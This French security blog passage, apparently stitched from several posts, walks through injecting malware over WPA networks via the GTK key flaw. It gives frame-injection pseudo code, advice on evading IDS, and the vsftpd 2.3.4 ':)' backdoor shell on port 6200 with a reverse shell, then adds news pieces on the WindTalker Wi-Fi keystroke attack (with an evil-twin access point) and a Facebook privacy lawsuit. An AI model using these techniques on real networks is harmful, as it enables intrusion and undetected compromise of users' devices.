Deux protocoles opèrent sur cette couche : UDP & TCP. Le but principal du TCP est de fournir un ‘stream’ fiable entre les machines. Il utilise pour cela le 3 way handshake afin d’établir une connexion fiable entre deux processus. SYN * SYN/ACK * ACK
Le SYN, envoyé par le client, contient une initialisation aléatoire du séquence number. Le serveur répond alors avec son SYN-ACK et enfin le client répond avec un ACK et un acknowledgement number.
UDP quant à lui ne garanti pas la fiabilité de la connexion ni la validité des paquets, donc pas de handshake en début de connexion.
Ces descriptions nous sont ici utiles car la manière dont on injecte des malwares diffère selon qu’on utilise l’un ou l’autre protocole.
En utilisant TCP pour l’injection de malware, nous devons donc établir une première connexion à l’aide du 3 way handshake. Envoyer un SYN et attendre le SYN ACK du serveur. Nous pouvons aussi ignorer le ACK du receveur car il n’est pas important dans le cas de l’injection de malware.
Les étapes nécessaires sont montrées dans le schéma suivant.
On commence par faire un traditionnel 3 way handshake avec la victime, puis nous sommes prêt pour envoyer un paquet malicieux à la victime mais c’est le moment d’utiliser la faille GTK. Nous envoyons le paquet directement à la victime et ce sans passer par le point d’accès.

C INJECTION DU MALWARE
Nous décrirons ici notre la manière d’injecter un malware à un client spécifique avec un but, par exemple une attaque d’insertion de buffer overflow sur une application de réseau spécifique.
Nous savons que les conditions d’un buffer overflow sont réunies lorsqu un programme nous autorise à placer plus de données qu’il ne peut en supporter. Un attaquant peut donc utiliser cette faille afin d’insérer un code malicieux dans la mémoire du process et lancer ainsi son exécution. Ceci peut mener à la prise de contrôle d’une application.
Nous connaissons aussi le modèle OSI de la communication réseau où chaque couche est responsable de certaines fonctions et envoie de ce fait certaines données aux couches supérieures ou inférieures.
Il n’y a pas de vérification de validité des types de frame entre ces couches.
Nous allons utiliser ce comportement afin de créer un type spécial de frame où la couche 2 utilisera la vulnérabilité de la clé GTK et donc sera une frame de broadcast encryptée avec la clé GTK. Le payload de la frame de couche 2 sera un paquet IP (couche réseau) avec l’adresse de destination de la victime et le malware dans le payload. Un simple exemple d’une frame wi-fi personnalisée avec un malware inclut dans le payload est montré dans le schéma ci après.
acknowledgement.

Le payload dans le paquet IP dépend fortement du service réseau u côté de la victime. Nous devons d abord trouver le bon type de malware avec certaines conditions. L’une des plus importantes est la taille du payload, donc la taille du paquet doit être inférieure à 2312 bytes et le service réseau vulnérable doit être exploitable avec un seul paquet IP. Ceci car nous ne sommes pas capable de créer une communication valide entre l’attaquant et la victime.On ne peut qu’envoyer 1 paquet avec la charge (payload)

IV RESULTATS

Afin de prouver notre idée nous créons un simple service réseau avec des fonctionnalités spécifiques.
La fonction principale de ce service est d’écouter sur un certain port et d’attendre un paquet IP avec un payload spécifique. Si ce paquet arrive, le programme écrit un message sur le terminal.
La machine de l’attaquant a une carte wi-fi avec deux interfaces virtuelles. La première est en mode STA et la seconde en mode MON donc capable d’injecter.
Nous disons que la premère interface est authentifiée avec succès au réseau sans fil avec un psk ou une autre méthode genre entreprise comme vu en introduction.
L’implémentation de l’application pour créer l’injection de malware est réalisée en suivant plusieurs étapes importantes.
Premièrement on doit extraire la clé GTK de l’interface connecté au réseau.
Il est évident que cette clé est nécessaire afin de crypter la frame.
Après on code une boucle où le programme attend attend une frame broadcast envoyée par le point d’accès. On met en place un filtre de capture afin de trouver une data frame envoyée par le AP (FromDS drapeau) et avec le champs adresse 1 en adresse MAC de broadcast, address 2 BSSID et address 3 avec la MAC de l’envoyeur.

Immédiatement après que cette frame est été capturée, le programme envoie un frame avec le sequence number et le vecteur d’initialisation augmentés de 1. Ceci nous garanti que la frame sera acceptée par la victime et que les IDS ne verront rien.

Cette technique a été réalisée avec succès 🙂 !!

Nous pouvons maintenant montrer un exemple d’attaque provenant de la base de données d’exploit-db qui utilise une faille dans les serveur ftp avec comme but d’établir un shell distant sur le système cible.
Nous choisissons une version vulnérable de VSFTPD serveur 2.3.4

Pseudo code de demo 1

for (;;){
capturedFrame=capture(‘type data and wlan addr1 ff:ff:ff:ff:ff:ff and
wlan addr2 00:11:22:33:44:55 and not
wlan addr3 70:f1:a1:59:19:0e and
dir fromds’)

iv=getIV(capturedFrame) ;
newframe.initvector=iv+1 ;
key=getGTK() ;
newframe.key=key ;

// encapsulation du malware par les couches supérieures TCP/IP
newframe,payload=malwarepayload ;
send(newframe) ;
}

boucle du programme

Le serveur FTP distant qui tourne sur l’hôte cible a été compilé avec une back-door. Lorsque on se connecte au serveur avec un «:) » comme nom d’utilisateur, la back-door est lancée et écoute sur le port 6200/TCP en attendant une connexion. Après que le client se connecte puis se déconnecte de la back-door, le shell arrête d’écouter les connections.

Comme nous l’avons mentionné ci-dessus, nous devons d’abord gérer le 3 way handshake avec le serveur FTP. Après quoi nous envoyons simplement un nom d’utilisateur aléatoire avec un «:) », nous lisons la réponse et envoyons un mdp aléatoire. Le serveur FTP a de ce fait ouvert le port 6200 et nous pouvons donc connecter l’attaquant et lancer une commande shell, par exemple on peut utiliser le shell_reverse_tcp de Metasploit !!
Il est évident que nous envoyons le nom d’utilisateur + le mdp+le shell-code directement avec la faille de la clé GTK afin d’éviter toutes détections sur le point d’accès ou par les IDS.

V CONCLUSION
Le nombre d’appareils mobiles qui utilisent le wi-fi augmente chaque jour.
Le problème vient souvent de la sécurité interne au réseau.

Les ondes Wi-Fi peuvent révéler vos mots de passe !

Un hacker pourrait obtenir votre mot de passe ou votre code pin de téléphone en observant les changements du signal wifi lorsque vous les entrez dans votre téléphone.

Des chercheurs des universités de Shangai, Floride du Sud et du Massachussets ont démontré qu’il était possible de révéler des informations privées en étudiant les interférences du signal wifi
en utilisant un simplement un point d’accès malveillant.

Baptisée WindTalker, cette attaque détecte les mouvement des doigts sur le téléphone ou sur le clavier d’un ordinateur en analysant le CSI (Channel State Information) du signal wifi.
Le CSI fournit comme son nom l’indique des informations sur le statut du signal sans fil.

Le principe repose sur le fait que le mouvement des doigts et de la main lorsque l’on tape son mot de passe génèrent des interférences uniques qui peuvent être analysées avec le CSI.

C’est donc l’altération du signal wifi due au mouvement de vos doigts sur l’écran (ou le clavier) qui sera analysée afin de connaître les touches que vous avez enfoncées.
Pratiquement, un attaquant qui aura le contrôle d’un point d’accès public par exemple pourra mener cette attaque afin de connaître tout ce que vous tapez sur votre ordinateur ou téléphone, vos mots de passe inclus. Pour rappel, prend le contrôle d’un point d’accès wifi public de manière très simple.
Dans un premier temps il scanne et analyse les points d’accès environnant, il découvre par exemple qu’il y en a un qui se nomme ‘Mac Donald Wifi’
Ensuite il ne lui reste plus qu’à mettre en place son propre point d’accès et de lui donner pour nom ‘Mac Donald Wifi’
Si sa puissance de diffusion est supérieure à celle du véritable point d’accès ou si il est plus proche de ses victimes , alors les appareils se connecteront à son point d’accès et il pourra lancer l’attaque WindTalker.
Petite précision cette attaque ne fonctionne pas sur les anciens routeurs (box internet) qui utilise la technologie MIMO.
Malheureusement elle fonctionne très bien sur les routeurs (box internet) que nous utilisons couramment de nos jours.

Cette attaque a été testée en conditions réelle sur de nombreux téléphones et les chercheurs en sécurité chinois ont ainsi pu déterminer le code PIN à 6 chiffres utilisés afin de conclure une transaction bancaire par mobile.

Le taux de réussite de cette attaque 68.3% est très élevé même si il varie en fonction des modèles de téléphones attaqués.

Une fois de plus je vous conseille d’éviter au maximum de vous connecter aux réseaux wifi public tels que ceux des restaurants ou des hôtels…

Peace & Code

Facebook : vos messages privés pas si privés que çà !

Le réseau social dirigé par Mark Zuckerberg est une fois de plus accusé pour ne pas avoir respecté (comme il le prétend) votre vie privée.
C’est dans l’état de Californie du Nord qu’un procès lui est intenté. On reproche, en effet, à ce géant des réseaux sociaux de scanner systématiquement tous vos messages privés, et d’en extraire les données qu’il pourra par la suite monétiser auprès des publicitaire et autres marques.

Ce faisant Facebook viole de nombreuses lois fédérales américaines ayant attrait à la protection de la vie privée.
Les scannes automatiques de vos messages privés peuvent se justifier afin de vérifier qu’aucun virus ou code malveillant n’est échangé, et ils servent aussi
à lutter contre la propagation de la pédophilie sur le réseaux.

Néanmoins il a été prouvé que des données sont aussi extraites dans un but purement commercial et ce, bien évidement, sans votre accord.

Les plaignants, Matthew Campbell et Michael Hurley affirment que Facebook scanne et extrait vos données en violant ce que les américains appellent :
« Electronic Communications Privacy Act » ainsi que « California Invasion of Privacy Act », deux lois qui visent à protéger votre vie privée sur internet.

Facebook de son côté se défend en expliquant que ses scannes sont effectués de manière anonyme (ce qui paraît suspect car quand on souhaite revendre des informations sur une personne il est préférable de savoir qui elle est !! Age, sexe, situation sociale, lieu de résidence etc…)

Une analyse technique effectuée à la demande des plaignants conclue à ce que vos messages sont effectivement sauvegardés dans « Titan », une base de données qui affiche la date et l’heure du message ainsi que les identifiants des expéditeurs et receveurs.

Bien que l’on sait que cette technique fut utilisée dans le passé par Facebook, le réseaux social prétend qu’elle ne l’est plus…

Je ne saurai trop vous le répéter mais ‘Si vous êtes sur un site ou que vous utiliser une application gratuitement et que ce site ou cette application ne vendent rien et bien c’est vous qui êtes le produit !

Pour les anglophones les plus courageux voici un lien où vous pouvez découvrir le procès :
https://www.slideshare.net/evilhackerz/facebook-lawsuit